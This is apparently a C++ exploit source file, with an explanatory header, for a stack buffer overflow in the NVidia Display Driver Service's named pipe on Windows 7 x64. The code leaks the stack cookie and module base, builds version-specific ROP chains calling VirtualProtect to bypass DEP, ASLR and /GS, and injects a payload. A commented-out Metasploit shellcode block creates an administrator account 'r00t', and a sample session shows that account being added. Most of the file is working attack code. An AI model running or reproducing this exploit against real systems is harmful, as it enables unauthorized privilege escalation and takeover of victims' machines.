546 lines
18 KiB
C++
Executable File
546 lines
18 KiB
C++
Executable File
/*
|
|
NVidia Display Driver Service (Nsvr) Exploit - Christmas 2012
|
|
- Bypass DEP + ASLR + /GS + CoE
|
|
=============================================================
|
|
(@peterwintrsmith)
|
|
|
|
** Initial release 25/12/12
|
|
** Update 25/12/12 - Target for 30 Aug 2012 nvvsvc.exe Build - thanks
|
|
@seanderegge!
|
|
|
|
Hey all!
|
|
|
|
Here is an interesting exploit for a stack buffer overflow in the NVidia
|
|
Display Driver Service. The service listens on a named pipe (\pipe\nsvr)
|
|
which has a NULL DACL configured, which should mean that any logged on user
|
|
or remote user in a domain context (Windows firewall/file sharing
|
|
permitting) should be able to exploit this vulnerability.
|
|
|
|
The buffer overflow occurs as a result of a bad memmove operation, with the
|
|
stack layout effectively looking like this:
|
|
|
|
[locals]
|
|
[received-data]
|
|
[response-buf]
|
|
[stack cookie]
|
|
[return address]
|
|
[arg space]
|
|
[etc]
|
|
|
|
The memmove copies data from the received-data buffer into the response-buf
|
|
buffer, unchecked. It is possible to control the offset from which the copy
|
|
starts in the received-data buffer by embedding a variable length string -
|
|
which forms part of the protocol message being crafted - as well as the
|
|
number of bytes copied into the response buffer.
|
|
|
|
The amount of data sent back over the named pipe is related to the number
|
|
of bytes copied rather than the maximum number of bytes that the buffer is
|
|
able to safely contain, so it is possible to leak stack data by copying
|
|
from the end of the received-data buffer, through the response-buf buffer
|
|
(which is zeroed first time round, and second time round contains whatever
|
|
was in it beforehand), right to the end of the stack frame (including stack
|
|
cookie and return address).
|
|
|
|
As the entire block of data copied is sent back, the stack cookie and
|
|
nvvsvc.exe base can be determined using the aforementioned process. The
|
|
stack is then trashed, but the function servicing pipe messages won't
|
|
return until the final message has been received, so it doesn't matter too
|
|
much.
|
|
|
|
It is then possible to exploit the bug by sending two further packets of
|
|
data: One containing the leaked stack cookie and a ROP chain dynamically
|
|
generated using offsets from the leaked nvvsvc.exe base (which simply fills
|
|
the response-buf buffer when this data is echoed back) and a second packet
|
|
which contains enough data to trigger an overwrite if data is copied from
|
|
the start of the received-data buffer into the response-buf (including the
|
|
data we primed the latter to contain - stack cookie and ROP chain).
|
|
|
|
Allowing the function to then return leads to execution of our ROP chain,
|
|
and our strategically placed Metasploit net user /add shellcode! We get
|
|
continuation of execution for free because the process spins up a thread
|
|
to handle each new connection, and there are no deadlocks etc.
|
|
|
|
I've included two ROP chains, one which works against the nvvsvc.exe
|
|
running by default on my Win7/x64 Dell XPS 15/ NVidia GT540M with drivers
|
|
from the Dell site, and one which works against the latest version of the
|
|
drivers for the same card, from:
|
|
http://www.geforce.co.uk/hardware/desktop-gpus/geforce-gt-540m
|
|
http://www.geforce.co.uk/drivers/results/54709
|
|
|
|
Hope you find this interesting - it's a fun bug to play with!
|
|
|
|
- Sample Session -
|
|
|
|
|
|
C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
|
|
Alias name administrators
|
|
Comment Administrators have complete and unrestricted access to the computer/domain
|
|
|
|
Members
|
|
|
|
-------------------------------------------------------------------------------
|
|
Administrator
|
|
Peter
|
|
The command completed successfully.
|
|
|
|
|
|
C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
|
|
** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
|
|
[@peterwintrsmith]
|
|
- Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
|
|
|
|
Action 1 of 9: - CONNECT
|
|
|
|
Action 2 of 9: - CLIENT => SERVER
|
|
Written 16416 (0x4020) characters to pipe
|
|
|
|
Action 3 of 9: - SERVER => CLIENT
|
|
Read 16504 (0x4078) characters from pipe
|
|
|
|
Action 4 of 9: Building exploit ...
|
|
=> Stack cookie 0xe2e2893340d4:
|
|
=> nvvsvc.exe base 0x13fb90000:
|
|
|
|
Action 5 of 9: - CLIENT => SERVER
|
|
Written 16416 (0x4020) characters to pipe
|
|
|
|
Action 6 of 9: - SERVER => CLIENT
|
|
Read 16384 (0x4000) characters from pipe
|
|
|
|
Action 7 of 9: - CLIENT => SERVER
|
|
Written 16416 (0x4020) characters to pipe
|
|
|
|
Action 8 of 9: - SERVER => CLIENT
|
|
Read 16896 (0x4200) characters from pipe
|
|
|
|
Action 9 of 9: - DISCONNECT
|
|
|
|
C:\Users\Peter\Desktop\NVDelMe1>net localgroup administrators
|
|
Alias name administrators
|
|
Comment Administrators have complete and unrestricted access to the computer/domain
|
|
|
|
Members
|
|
|
|
-------------------------------------------------------------------------------
|
|
Administrator
|
|
Peter
|
|
r00t
|
|
The command completed successfully.
|
|
|
|
|
|
C:\Users\Peter\Desktop\NVDelMe1>
|
|
|
|
*/
|
|
|
|
#include <Windows.h>
|
|
#include <stdio.h>
|
|
extern "C" {
|
|
#include "nvidia_nvsvc.h"
|
|
}
|
|
|
|
enum EProtocolAction
|
|
{
|
|
ProtocolAction_Connect = 0,
|
|
ProtocolAction_Receive,
|
|
ProtocolAction_Send,
|
|
ProtocolAction_Disconnect,
|
|
ProtocolAction_ReadCookie,
|
|
};
|
|
|
|
typedef struct
|
|
{
|
|
EProtocolAction Action;
|
|
PBYTE Buf;
|
|
DWORD Length;
|
|
} ProtocolMessage;
|
|
|
|
const int GENERIC_BUF_LENGTH = 0x10000;
|
|
|
|
#define WriteByte(val) {buf[offs] = val; offs += 1;}
|
|
#define WriteWord(val) {*(WORD *)(buf + offs) = val; offs += 2;}
|
|
#define WriteDword(val) {*(DWORD *)(buf + offs) = val; offs += 4;}
|
|
#define WriteBytes(val, len) {memcpy(buf + offs, val, len); offs += len;}
|
|
#define BufRemaining() (sizeof(buf) - offs)
|
|
|
|
DWORD WritePipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer)
|
|
{
|
|
DWORD dwWritten = 0;
|
|
|
|
if (WriteFile(hPipe, pBuffer, cbBuffer, &dwWritten, NULL))
|
|
{
|
|
return dwWritten;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
DWORD ReadPipe(HANDLE hPipe, void *pBuffer, DWORD cbBuffer, BOOL bTimeout = FALSE)
|
|
{
|
|
DWORD dwRead = 0, dwAvailable = 0;
|
|
|
|
if (bTimeout)
|
|
{
|
|
for (DWORD i = 0; i < 30; i++)
|
|
{
|
|
if (!PeekNamedPipe(hPipe, NULL, NULL, NULL, &dwAvailable, NULL))
|
|
{
|
|
goto Cleanup;
|
|
}
|
|
|
|
if (dwAvailable)
|
|
{
|
|
break;
|
|
}
|
|
|
|
Sleep(100);
|
|
}
|
|
|
|
if (!dwAvailable)
|
|
{
|
|
goto Cleanup;
|
|
}
|
|
}
|
|
|
|
if (!ReadFile(hPipe, pBuffer, cbBuffer, &dwRead, NULL))
|
|
{
|
|
goto Cleanup;
|
|
}
|
|
|
|
Cleanup:
|
|
return dwRead;
|
|
}
|
|
|
|
HANDLE EstablishPipeConnection(char *pszPipe)
|
|
{
|
|
HANDLE hPipe = CreateFileA(
|
|
pszPipe,
|
|
GENERIC_READ | GENERIC_WRITE,
|
|
0,
|
|
NULL,
|
|
OPEN_EXISTING,
|
|
0,
|
|
NULL
|
|
);
|
|
|
|
if (hPipe == INVALID_HANDLE_VALUE)
|
|
{
|
|
return NULL;
|
|
}
|
|
|
|
return hPipe;
|
|
}
|
|
|
|
BYTE *BuildMalicious_LeakStack()
|
|
{
|
|
static BYTE buf[0x4020] = {0};
|
|
UINT offs = 0;
|
|
|
|
WriteWord(0x52);
|
|
|
|
for(UINT i=0; i<0x2000; i++)
|
|
WriteWord(0x41);
|
|
|
|
WriteWord(0);
|
|
|
|
WriteDword(0);
|
|
WriteDword(0x4078);
|
|
|
|
WriteDword(0x41414141);
|
|
WriteDword(0x41414141);
|
|
WriteDword(0x41414141);
|
|
WriteDword(0x41414141);
|
|
WriteDword(0x41414141);
|
|
|
|
return buf;
|
|
}
|
|
|
|
BYTE *BuildMalicious_FillBuf()
|
|
{
|
|
static BYTE buf[0x4020] = {0};
|
|
UINT offs = 0;
|
|
|
|
WriteWord(0x52);
|
|
WriteWord(0); // string
|
|
|
|
WriteDword(0);
|
|
WriteDword(0x4000);
|
|
|
|
while(BufRemaining())
|
|
WriteDword(0x43434343);
|
|
|
|
return buf;
|
|
}
|
|
|
|
BYTE *BuildMalicious_OverwriteStack()
|
|
{
|
|
static BYTE buf[0x4020] = { 0 };
|
|
UINT offs = 0;
|
|
|
|
WriteWord(0x52);
|
|
WriteWord(0); // string
|
|
|
|
WriteDword(0);
|
|
WriteDword(0x4340); // enough to copy shellcode too
|
|
|
|
while (BufRemaining())
|
|
{
|
|
WriteDword(0x42424242);
|
|
}
|
|
|
|
return buf;
|
|
}
|
|
|
|
/*!
|
|
* @brief Entry point for the exploit code.
|
|
* @param payload Pointer to the payload memory, which must be NULL terminated.
|
|
*/
|
|
VOID elevate_nvidia_nvsvc(LPVOID payload)
|
|
{
|
|
SIZE_T payloadLen = strlen((char*)payload) + 1;
|
|
DWORD dwReturnCode = 1, dwBytesInOut = 0;
|
|
HANDLE hPipe = NULL;
|
|
|
|
static BYTE rgReadBuf[GENERIC_BUF_LENGTH] = { 0 };
|
|
|
|
memset(rgReadBuf, 0, sizeof(rgReadBuf));
|
|
|
|
ProtocolMessage rgConvoMsg[] =
|
|
{
|
|
{ ProtocolAction_Connect, NULL, 0 },
|
|
{ ProtocolAction_Send, BuildMalicious_LeakStack(), 0x4020 },
|
|
{ ProtocolAction_Receive, { 0 }, 0x4200 },
|
|
{ ProtocolAction_ReadCookie, { 0 }, 0 },
|
|
{ ProtocolAction_Send, BuildMalicious_FillBuf(), 0x4020 },
|
|
{ ProtocolAction_Receive, { 0 }, 0x4000 },
|
|
{ ProtocolAction_Send, BuildMalicious_OverwriteStack(), 0x4020 },
|
|
{ ProtocolAction_Receive, { 0 }, 0x4200 },
|
|
{ ProtocolAction_Disconnect, NULL, 0 },
|
|
};
|
|
|
|
DWORD dwNumberOfMessages = sizeof(rgConvoMsg) / sizeof(ProtocolMessage), i = 0;
|
|
BOOL bTryAgain = FALSE;
|
|
char szPipe[256] = "\\\\.\\pipe\\nvsr";
|
|
|
|
// We could renable remote hosts to target other devices on network?!
|
|
// sprintf(szPipe, "\\\\%s\\pipe\\nvsr", argv[1]);
|
|
|
|
while (i < dwNumberOfMessages)
|
|
{
|
|
printf("\n\tAction %u of %u: ", i + 1, dwNumberOfMessages);
|
|
|
|
switch (rgConvoMsg[i].Action)
|
|
{
|
|
case ProtocolAction_Connect:
|
|
printf(" - CONNECT\n");
|
|
|
|
hPipe = EstablishPipeConnection(szPipe);
|
|
if (!hPipe)
|
|
{
|
|
printf("!! Unable to create named pipe (GetLastError() = %u [0x%x])\n", GetLastError(), GetLastError());
|
|
goto Cleanup;
|
|
}
|
|
|
|
break;
|
|
case ProtocolAction_Disconnect:
|
|
printf(" - DISCONNECT\n");
|
|
|
|
CloseHandle(hPipe);
|
|
hPipe = NULL;
|
|
|
|
break;
|
|
case ProtocolAction_Send:
|
|
printf(" - CLIENT => SERVER\n");
|
|
|
|
if (!(dwBytesInOut = WritePipe(hPipe, rgConvoMsg[i].Buf, rgConvoMsg[i].Length)))
|
|
{
|
|
printf("!! Error writing to pipe\n");
|
|
goto Cleanup;
|
|
}
|
|
|
|
printf("\t\tWritten %u (0x%x) characters to pipe\n", dwBytesInOut, dwBytesInOut);
|
|
|
|
break;
|
|
case ProtocolAction_Receive:
|
|
printf("\t - SERVER => CLIENT\n");
|
|
|
|
if (!(dwBytesInOut = ReadPipe(hPipe, rgReadBuf, rgConvoMsg[i].Length, FALSE)))
|
|
{
|
|
printf("!! Error reading from pipe (at least, no data on pipe)\n");
|
|
goto Cleanup;
|
|
}
|
|
|
|
printf("\t\tRead %u (0x%x) characters from pipe\n", dwBytesInOut, dwBytesInOut);
|
|
|
|
break;
|
|
case ProtocolAction_ReadCookie:
|
|
|
|
// x64 Metasploit cmd/exec:
|
|
// "net user r00t r00t00r! /add & net localgroup administrators /add"
|
|
// exitfunc=thread
|
|
/*char code[] = ""
|
|
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
|
|
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
|
|
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
|
|
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
|
|
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
|
|
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
|
|
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
|
|
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
|
|
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
|
|
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
|
|
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
|
|
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
|
|
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
|
|
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
|
|
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
|
|
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
|
|
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
|
|
"\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x72\x30"
|
|
"\x30\x74\x20\x72\x30\x30\x74\x30\x30\x72\x21\x20\x2f\x61\x64"
|
|
"\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72"
|
|
"\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"
|
|
"\x6f\x72\x73\x20\x72\x30\x30\x74\x20\x2f\x61\x64\x64\x00";*/
|
|
printf("Building exploit ...\n");
|
|
unsigned __int64 uiStackCookie = *(unsigned __int64 *)(rgReadBuf + 0x4034);
|
|
printf("\t\t => Stack cookie 0&x:\n", (DWORD)(uiStackCookie >> 32), (DWORD)uiStackCookie);
|
|
|
|
memcpy(rgConvoMsg[4].Buf + 0xc + 0xc, &uiStackCookie, 8);
|
|
|
|
unsigned __int64 uiRetnAddress = *(unsigned __int64 *)(rgReadBuf + 0x4034 + 8), uiBase = 0, *pRopChain = NULL;
|
|
|
|
// Perform some limited fingerprinting (my default install version, vs latest at time of testing)
|
|
switch (uiRetnAddress & 0xfff)
|
|
{
|
|
case 0x640: // nvvsvc.exe - 03 Nov 2011 - 1,640,768 bytes - md5=3947ad5d03e6abcce037801162fdb90d
|
|
uiBase = uiRetnAddress - 0x4640;
|
|
printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
|
|
|
|
pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7 * 8));
|
|
|
|
// Param 1: lpAddress [r11 (near rsp) into rcx]
|
|
pRopChain[0] = uiBase + 0x19e6e; // nvvsvc.exe+0x19e6e: mov rax, r11; retn
|
|
pRopChain[1] = uiBase + 0xa6d64; // nvvsvc.exe+0xa6d64: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
|
|
pRopChain[2] = 0; // Padding
|
|
pRopChain[3] = 0; // ...
|
|
pRopChain[4] = 0; // ...
|
|
pRopChain[5] = 0; // ...
|
|
pRopChain[6] = 0; // ...
|
|
pRopChain[7] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
|
|
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
|
|
pRopChain[9] = uiBase + 0xa8653; // nvvsvc.exe+0xa8653: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
|
|
pRopChain[10] = 0; // Padding
|
|
pRopChain[11] = 0; // ...
|
|
pRopChain[12] = 0; // ...
|
|
pRopChain[13] = 0; // ...
|
|
pRopChain[14] = 0; // ...
|
|
pRopChain[15] = uiBase + 0x7772; // nvvsvc.exe+0x7772: pop r8; retn
|
|
pRopChain[16] = 0x40; // Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
|
|
pRopChain[17] = uiBase + 0x7773; // nvvsvc.exe+0x7773: pop rax; retn
|
|
// Param 4: lpflOldProtect [r9 - already points at writable location]
|
|
pRopChain[18] = uiBase + 0xfe5e0; // nvvsvc.exe+0xfe5e0: IAT entry &VirtualProtect
|
|
pRopChain[19] = uiBase + 0x5d60; // nvvsvc.exe+0x5d60: mov rax, [rax]; retn
|
|
pRopChain[20] = uiBase + 0x91a85; // nvvsvc.exe+0x91a85: jmp rax
|
|
pRopChain[21] = uiBase + 0xe6251; // nvvsvc.exe+0xe6251: jmp rsp (return address from VirtualProtect)
|
|
|
|
memcpy(pRopChain + 22, payload, payloadLen);
|
|
break;
|
|
case 0x9f1: // nvvsvc.exe - 30 Aug 2012 - 891,240 bytes - md5=43f91595049de14c4b61d1e76436164f
|
|
uiBase = uiRetnAddress - 0x39f1;
|
|
printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
|
|
|
|
pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7 * 8));
|
|
|
|
// Param 1: lpAddress [r11 (near rsp) into rcx]
|
|
pRopChain[0] = uiBase + 0x15d36; // nvvsvc.exe+0x15d36: mov rax, r11; retn
|
|
pRopChain[1] = uiBase + 0x5493c; // nvvsvc.exe+0x5493c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
|
|
pRopChain[2] = 0; // Padding ...
|
|
pRopChain[3] = 0; // ...
|
|
pRopChain[4] = 0; // ...
|
|
pRopChain[5] = 0; // ...
|
|
pRopChain[6] = 0; // ...
|
|
pRopChain[7] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
|
|
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
|
|
pRopChain[9] = uiBase + 0x55dbf; // nvvsvc.exe+0x55dbf: mov rdx, rax; mov rax, rdx; add rsp, 28h; retn
|
|
pRopChain[10] = 0; // Padding ...
|
|
pRopChain[11] = 0; // ...
|
|
pRopChain[12] = 0; // ...
|
|
pRopChain[13] = 0; // ...
|
|
pRopChain[14] = 0; // ...
|
|
// Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
|
|
pRopChain[15] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
|
|
pRopChain[16] = 0x40; // PAGE_EXECUTE_READWRITE
|
|
pRopChain[17] = uiBase + 0x8b92; // nvvsvc.exe+0x55dbf: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
|
|
pRopChain[18] = 0; // Padding ...
|
|
pRopChain[19] = 0; // ...
|
|
pRopChain[20] = 0; // ...
|
|
pRopChain[21] = 0; // ...
|
|
pRopChain[22] = 0; // ...
|
|
// Param 4: lpflOldProtect [r9 - already points at writable location]
|
|
pRopChain[23] = uiBase + 0xd202; // nvvsvc.exe+0xd202: pop rax; retn
|
|
pRopChain[24] = uiBase + 0x91308; // IAT entry &VirtualProtect - 0x130
|
|
pRopChain[25] = uiBase + 0x82989; // nvvsvc.exe+0x82989: mov rax, [rax+130h]; add rsp, 28h; retn
|
|
pRopChain[26] = 0; // Padding ...
|
|
pRopChain[27] = 0; // ...
|
|
pRopChain[28] = 0; // ...
|
|
pRopChain[29] = 0; // ...
|
|
pRopChain[30] = 0; // ...
|
|
pRopChain[31] = uiBase + 0x44ba6; // nvvsvc.exe+0x44ba6: jmp eax
|
|
pRopChain[32] = uiBase + 0x77c59; // nvvsvc.exe+0x77c59: jmp esp
|
|
|
|
memcpy(pRopChain + 33, payload, payloadLen);
|
|
break;
|
|
case 0xa11: // nvvsvc.exe - 01 Dec 2012 - 890,216 md5=3341d2c91989bc87c3c0baa97c27253b
|
|
uiBase = uiRetnAddress - 0x3a11;
|
|
printf("\t\t => nvvsvc.exe base 0&x:\n", (DWORD)(uiBase >> 32), (DWORD)uiBase);
|
|
|
|
pRopChain = (unsigned __int64 *)(rgConvoMsg[4].Buf + 0xc + 0xc + (7 * 8));
|
|
|
|
// Param 1: lpAddress [r11 (near rsp) into rcx]
|
|
pRopChain[0] = uiBase + 0x15b52; // nvvsvc.exe+0x15b52: mov rax, r11; retn
|
|
pRopChain[1] = uiBase + 0x54d4c; // nvvsvc.exe+0x54d4c: mov rcx, rax; mov eax, [rcx+4]; add rsp, 28h; retn
|
|
pRopChain[2] = 0; // Padding ...
|
|
pRopChain[3] = 0; // ...
|
|
pRopChain[4] = 0; // ...
|
|
pRopChain[5] = 0; // ...
|
|
pRopChain[6] = 0; // ...
|
|
pRopChain[7] = uiBase + 0x8d7aa; // nvvsvc.exe+0x8d7aa: pop rdx; add al, 0; pop rbp; retn
|
|
pRopChain[8] = 0x1; // Param 2: dwSize [rdx = 1 (whole page)]
|
|
pRopChain[9] = 0; // Padding ...
|
|
// Param 3: flNewProtect [r8 = 0x40 (PAGE_EXECUTE_READWRITE)]
|
|
pRopChain[10] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
|
|
pRopChain[11] = 0x40; // PAGE_EXECUTE_READWRITE
|
|
pRopChain[12] = uiBase + 0x8d26; // nvvsvc.exe+0x8d26: mov r8d, eax; mov eax, r8d; add rsp, 28h; retn
|
|
pRopChain[13] = 0; // Padding ...
|
|
pRopChain[14] = 0; // ...
|
|
pRopChain[15] = 0; // ...
|
|
pRopChain[16] = 0; // ...
|
|
pRopChain[17] = 0; // ...
|
|
// Param 4: lpflOldProtect [r9 - already points at writable location]
|
|
pRopChain[18] = uiBase + 0xd33a; // nvvsvc.exe+0xd33a: pop rax; retn
|
|
pRopChain[19] = uiBase + 0x91310; // IAT entry &VirtualProtect - 0x128
|
|
pRopChain[20] = uiBase + 0x82851; // nvvsvc.exe+0x82851: mov rax, [rax+128h]; add rsp, 28h; retn
|
|
pRopChain[21] = 0; // Padding ...
|
|
pRopChain[22] = 0; // ...
|
|
pRopChain[23] = 0; // ...
|
|
pRopChain[24] = 0; // ...
|
|
pRopChain[25] = 0; // ...
|
|
pRopChain[26] = uiBase + 0x44fb6; // nvvsvc.exe+0x44fb6: jmp rax
|
|
pRopChain[27] = uiBase + 0x8a0dc; // nvvsvc.exe+0x8a0dc: push rsp; retn
|
|
|
|
memcpy(pRopChain + 28, payload, payloadLen);
|
|
break;
|
|
}
|
|
|
|
break;
|
|
}
|
|
|
|
i++;
|
|
}
|
|
|
|
Cleanup:
|
|
if (hPipe)
|
|
{
|
|
CloseHandle(hPipe);
|
|
}
|
|
} |